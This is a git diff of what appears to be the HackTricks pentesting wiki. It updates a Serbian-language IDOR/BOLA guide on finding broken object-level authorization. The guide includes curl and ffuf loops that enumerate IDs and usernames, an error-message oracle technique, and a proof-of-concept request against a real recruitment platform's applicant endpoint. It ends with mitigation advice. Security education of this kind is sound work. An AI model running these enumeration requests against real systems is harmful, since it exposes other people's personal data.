- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,22 +2,23 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API krajnja tačka otkriva ili prihvata identifikator koji korisnik može kontrolisati, a koji se koristi **direktno** za pristup unutrašnjem objektu **bez provere da li je pozivalac ovlašćen** da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertikalno eskaliranje privilegija, kao što su čitanje ili modifikovanje podataka drugih korisnika i, u najgorem slučaju, potpuni preuzimanje naloga ili masovno iskopavanje podataka.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati koji se koristi **direktno** za pristup internom objektu **bez provere da li pozivač ima ovlašćenje** da pristupi/izmeni taj objekat.
|
||||
Uspešna eksploatacija obično omogućava horizontalnu ili vertikalnu eskalaciju privilegija, kao što je čitanje ili izmena podataka drugih korisnika i, u najgorem slučaju, potpuno preuzimanje naloga ili masovno iznošenje podataka.
|
||||
|
||||
---
|
||||
## 1. Identifikacija potencijalnih IDOR-a
|
||||
|
||||
1. Tražite **parametre koji se odnose na objekat**:
|
||||
* Putanja: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Upit: `?id=42`, `?invoice=2024-00001`
|
||||
* Telo / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headeri / Kolačići: `X-Client-ID: 4711`
|
||||
2. Preferirajte krajnje tačke koje **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** – ako je vaš ID `64185742`, onda verovatno postoji `64185741`.
|
||||
4. Istražite skrivene ili alternativne tokove (npr. *"Članovi Paradox tima"* link na stranicama za prijavu) koji bi mogli otkriti dodatne API-je.
|
||||
5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/kolačić**. Odsustvo greške autorizacije obično je znak IDOR-a.
|
||||
1. Potražite **parametre koji referenciraju objekat**:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Dajte prednost endpointima koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** – ako je vaš ID `64185742`, verovatno postoji `64185741`.
|
||||
4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na stranicama za prijavu) koji mogu otkriti dodatne API-je.
|
||||
5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR-a.
|
||||
|
||||
### Brzo ručno manipulisanje (Burp Repeater)
|
||||
### Brzo ručno menjanje (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -26,7 +27,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Automatizovana enumeracija (Burp Intruder / curl petlja)
|
||||
### Automatizovana enumeracija (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -36,50 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platforma (2025)
|
||||
|
||||
Tokom procene **McHire** portala za zapošljavanje koji koristi Paradox.ai, otkriven je sledeći IDOR:
|
||||
### Error-response oracle for user/file enumeration
|
||||
|
||||
Kada endpoint za preuzimanje prihvata i username i filename (npr. `/view.php?username=<u>&file=<f>`), suptilne razlike u porukama o grešci često stvaraju oracle:
|
||||
|
||||
- Nepostojeće korisničko ime → "User not found"
|
||||
- Loš naziv fajla ali validna ekstenzija → "File does not exist" (ponekad takođe navede dostupne fajlove)
|
||||
- Pogrešna ekstenzija → greška validacije
|
||||
|
||||
Sa bilo kojom autentifikovanom sesijom možete fuzz-ovati parametar username dok koristite bezopasan naziv fajla i filtrirati po stringu "User not found" da biste otkrili važeće korisnike:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Kada se identifikuju važeći korisnički nalozi, direktno zatražite konkretne fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neautorizovanog otkrivanja dokumenata drugih korisnika i credential leakage.
|
||||
|
||||
---
|
||||
## 2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platform (2025)
|
||||
|
||||
Tokom procene regrutacione platforme Paradox.ai-pogonjene **McHire** otkriven je sledeći IDOR:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: kolačić sesije korisnika za **bilo** koji test račun restorana
|
||||
* Authorization: user session cookie za **bilo koji** test nalog restorana
|
||||
* Body parameter: `{"lead_id": N}` – 8-cifreni, **sekvencijalni** numerički identifikator
|
||||
|
||||
Smanjivanjem `lead_id`, tester je dobio proizvoljne aplikante **pune PII** (ime, e-mail, telefon, adresa, preferencije smene) plus potrošački **JWT** koji je omogućio preuzimanje sesije. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa.
|
||||
Smanjivanjem `lead_id` tester je preuzeo proizvoljne aplikante sa **potpunim PII** (ime, e-mail, telefon, adresa, preferencije smene) plus consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa.
|
||||
|
||||
Dokaz koncepta zahteva:
|
||||
Proof-of-Concept request:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
Combined with **podrazumevanim administratorskim akreditivima** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
|
||||
---
|
||||
## 3. Uticaj IDOR / BOLA
|
||||
* Horizontalna eskalacija – čitanje/izmena/bršenje **podataka drugih korisnika**.
|
||||
* Vertikalna eskalacija – korisnik sa niskim privilegijama dobija funkcionalnosti samo za administratore.
|
||||
* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi aplikanta, fakture).
|
||||
* Horizontalno eskaliranje – čitanje/izmenjivanje/brisanje podataka **ostalih korisnika**.
|
||||
* Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti rezervisane samo za admina.
|
||||
* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi kandidata, fakture).
|
||||
* Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
|
||||
|
||||
---
|
||||
## 4. Mogućnosti smanjenja rizika i najbolje prakse
|
||||
1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`).
|
||||
2. Preferirajte **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto auto-increment ID-eva.
|
||||
3. Sprovodite autorizaciju **na serverskoj strani**, nikada se ne oslanjajte na skrivene forme ili UI kontrole.
|
||||
4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u.
|
||||
5. Dodajte **ograničenje brzine i logovanje** za otkrivanje enumeracije ID-eva.
|
||||
6. Bezbednosno testirajte svaki novi endpoint (jedinično, integraciono i DAST).
|
||||
## 4. Ublažavanje & Najbolje prakse
|
||||
1. **Primeni autorizaciju na nivou objekta** na svaki zahtev (`user_id == session.user`).
|
||||
2. Preferiraj **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto auto-increment ID-eva.
|
||||
3. Izvršavaj autorizaciju na serverskoj strani, nikada se ne oslanjaj na skrivena polja forme ili UI kontrole.
|
||||
4. Implementiraj provere **RBAC / ABAC** u centralnom middleware-u.
|
||||
5. Dodaj **rate-limiting & logging** kako bi otkrio enumeraciju ID-eva.
|
||||
6. Bezbednosno testiraj svaki novi endpoint (unit, integration, and DAST).
|
||||
|
||||
---
|
||||
## 5. Alati
|
||||
* **BurpSuite ekstenzije**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Github projekti**: `bwapp-idor-scanner`, `Blindy` (masovno lov na IDOR).
|
||||
* **Github projekti**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
|
||||
|
||||
|
||||
## Reference
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
* [Kako pronaći više IDOR-a – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
* [HTB Nocturnal: IDOR oracle → krađa fajlova](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user